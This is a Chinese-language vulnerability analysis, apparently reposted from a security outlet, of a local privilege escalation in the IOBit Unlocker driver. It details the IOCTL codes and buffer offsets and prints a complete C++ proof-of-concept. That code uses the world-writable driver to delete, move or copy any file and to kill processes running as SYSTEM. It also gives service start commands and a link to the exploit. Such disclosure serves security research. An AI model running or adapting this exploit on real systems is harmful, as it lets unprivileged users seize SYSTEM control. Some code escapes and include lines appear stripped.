![IOBit Unlocker 驱动本地提权漏洞分析 IOBit Unlocker 驱动本地提权漏洞分析]()
0x01 漏洞描述
IOBitUnlocker驱动程序存在2个主要漏洞:
1. IOBitUnlocker驱动程序中的IOCTL代码0x222124允许低特权用户解锁文件,它会杀死持有该进程句柄的进程,即使它们正在以SYSTEM特权运行。
2. IOCTL IOBitUnlocker驱动程序中的代码0x222124允许低特权用户删除,移动或复制系统上的任何文件。
![IOBit Unlocker 驱动本地提权漏洞分析 IOBit Unlocker 驱动本地提权漏洞分析]()
0x02 漏洞分析
该应用安装了将执行上述操作的帮助程序和驱动程序,如果我们在OSR的设备树中检查设备的权限,可以看到任何人都具有对驱动程序的完全访问权限:
当我们启动客户端应用程序时,它将提示需要提高访问权限:
要查看客户端的功能或如何执行操作,可以逆向分析驱动程序,但是使用@zodiacon写的的DriverMon工具会更容易,该工具可以监视IOCTL请求并显示数据。
添加文件时,可以看到有一个IOCTL代码正在查询有关文件的信息:是否有任何进程正在使用它,使用了IOCTL代码0x222128。
如果有进程正在使用它,我们将使用以下文件获取进程的PID:
如果单击解锁,我们将使用IOCTL看到一个稍有不同的请求0x222124,再次传递文件名以及偏移量0x424处的数字3:
如果我们查看IDA中的驱动程序文件,将看到它支持的两个IOCTL代码。
在相关偏移量的请求中看到如下内容:
1. 开锁:
1. 0x0:Unicode中的文件名
2. 0x424:字节0x3
2. 解锁并删除:
1. 0x0:Unicode中的文件名
2. 0x420:字节0x1
3. 0x424:字节0x3
3. 解锁并重命名:
1. 0x0:文件名
2. 0x210:新文件名
3. 0x420:字节0x2
4. 0x424:字节0x3
4. 解锁并移动:
1. 0x0:文件名
2. 0x210:具有完整路径的新文件名
3. 0x420:字节0x3
4. 0x424:字节0x3
5. 解锁并复制:
1. 0x0:文件名
2. 0x210:具有完整路径的新文件名
3. 0x420:字节0x4
4. 0x424:字节0x3
文件重命名操作的输入:
如果单击Force mode偏移量为0x424的字节,则设置为0x7。请求中的所有其他字节均为0,该工具不支持超过256个字节的文件路径,这是典型的MAX_PATH值。4字节的返回值是NTSTATUS代码,如果选择文件夹,则会得到相同的输入值。
考虑到对驱动程序的访问权限是对所有人的完全访问权限,可以在代码中重新实现相同的功能。这是一个明显的特权升级漏洞,我们可以:
1. 删除,复制,移动系统中的任何文件;
2. 杀死任何进程(解锁功能将终止持有该文件句柄的进程)。
如果查看代码,我们可以看到关键系统进程有一个白名单:
我们可以轻松替换任何以SYSTEM身份运行的二进制文件,也可以将DLL复制到将其作为SYSTEM加载的位置。
唯一不起作用的项是重命名文件,由于某种原因,如果用户没有权限,驱动程序将无法重命名该文件。
![IOBit Unlocker 驱动本地提权漏洞分析 IOBit Unlocker 驱动本地提权漏洞分析]()
0x03 漏洞验证
PoC代码:
// UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include #include #include
BOOL FileExists(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
printf("[i] File exists status: 0x%08xn", dwAttrib);
return (dwAttrib != INVALID_FILE_ATTRIBUTES);
}
void ReadStringFromSTDIN(wchar_t * buffer)
{
printf("> ");
fgetws((wchar_t*)buffer, 0x200, stdin);
memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character
}
int main(int argc, char* argv[]) {
printf("[i] IOBit Unlocker Privilege Escalation PoCn");
//open the driver
HANDLE hDriver = CreateFileW(L"\\.\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver != INVALID_HANDLE_VALUE)
{
printf("[+] opened handle to the drivern");
DWORD input_buffer_size = 0x1000;
DWORD output_buffer_size = 0x1000;
//allocate input buffer
LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (input_buffer == NULL)
{
printf("[-] Unable to allocate memory for input buffern");
ExitProcess(-1);
}
printf("[+] Allocated input memory buffer at: 0x%Ixn", (UINT64)input_buffer);
//allocate output buffer
LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (output_buffer == NULL)
{
printf("[-] Unable to allocate memory for output buffern");
ExitProcess(-1);
}
printf("[+] Allocated output buffer memory at: 0x%Ixn", (UINT64)output_buffer);
// Clear memory area
memset(input_buffer, 0x00, input_buffer_size);
memset(output_buffer, 0x00, output_buffer_size);
printf("[i] Enter full path for the file to unlock. Eg: C:\Windows\System32\cmd.exen");
ReadStringFromSTDIN((wchar_t*)input_buffer);
wprintf(L"Fileto be checked: %sn", (wchar_t *)input_buffer);
if (!FileExists((LPCWSTR)input_buffer)) {
printf("[-] This file doesn't existsn");
ExitProcess(-1);
}
//print options
printf("[+] File found!n");
printf("[i] Choose an option:n");
printf("1 - INFOn");
printf("2 - Unlockn");
printf("3 - Unlock & Deleten");
printf("4 - Unlock & Renamen");
printf("5 - Unlock & Moven");
printf("6 - Unlock & Copyn");
boolean valid = false;
int option = 0;
while (!valid)
{
printf("> ");
int result = scanf_s("%d", &option);
if (result == EOF) {
printf("[-] Invalid inputn");
continue;
}
if (result == 0) {
while (fgetc(stdin) != 'n') // Read until a newline is found
;
printf("[-] Invalid inputn");
continue;
}
if (option > 0 && option < 7)
{
valid = true;
while (fgetc(stdin) != 'n') // Read until a newline is found, if we don't do this it will mess up code later
;
}
else
{
printf("[-] Invalid number, enter something between 1 and 6n");
}
}
DWORD dwIoctl_info = 0x222128;
DWORD dwIoctl_action = 0x222124;
DWORD dwBytesOut = 0;
switch (option)
{
case 1:
{
DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
wprintf(L"[i] File info: %sn", (wchar_t*)output_buffer);
break;
}
case 2:
{
((byte*)input_buffer)[0x424] = 0x3;
DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
break;
}
case 3:
{
((byte*)input_buffer)[0x420] = 0x1;
((byte*)input_buffer)[0x424] = 0x3;
DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
break;
}
case 4: //this is not working id the user doesn't have rights to access the file
{
((byte*)input_buffer)[0x420] = 0x2;
((byte*)input_buffer)[0x424] = 0x3;
printf("[i] Enter new filename:n");
ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
break;
}
case 5:
{
((byte*)input_buffer)[0x420] = 0x3;
((byte*)input_buffer)[0x424] = 0x3;
printf("[i] Enter new path (move operation):n");
ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
break;
}
case 6:
{
((byte*)input_buffer)[0x420] = 0x4;
((byte*)input_buffer)[0x424] = 0x3;
printf("[i] Enter new path (copy operation):n");
ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
break;
}
default:
break;
}
}
else {
printf("[-] Couldn't open the drivern");
ExitProcess(-1);
}
CloseHandle(hDriver);
ExitProcess(0);
}
漏洞测试:
通常只有在启动主应用程序后,驱动程序才会启动,一旦退出,驱动程序将被终止并禁用。如果要手动启动以进行测试,则需要自己启动:
sc config iobitunlocker start= demand
sc start iobitunlocker
POC文件如下,可以自己尝试测试验证:
https://github.com/theevilbit/exploits/tree/master/IOBit%20Unlocker%201.2%20LPE/UnlockExploit
![IOBit Unlocker 驱动本地提权漏洞分析 IOBit Unlocker 驱动本地提权漏洞分析]()
0x04 分析总结
单击Force mode的偏移量为0x424的字节,设置为0x7。请求中的所有其他字节均为0,4字节的返回值是NTSTATUS代码,对驱动程序的访问权限是对所有人的完全访问权限,就可以在代码中重新实现相同的功能,这就变成了一个提权漏洞。
参考及来源:https://theevilbit.github.io/posts/iobit_unlocker_lpe/
本文始发于微信公众号(嘶吼专业版):IOBit Unlocker 驱动本地提权漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论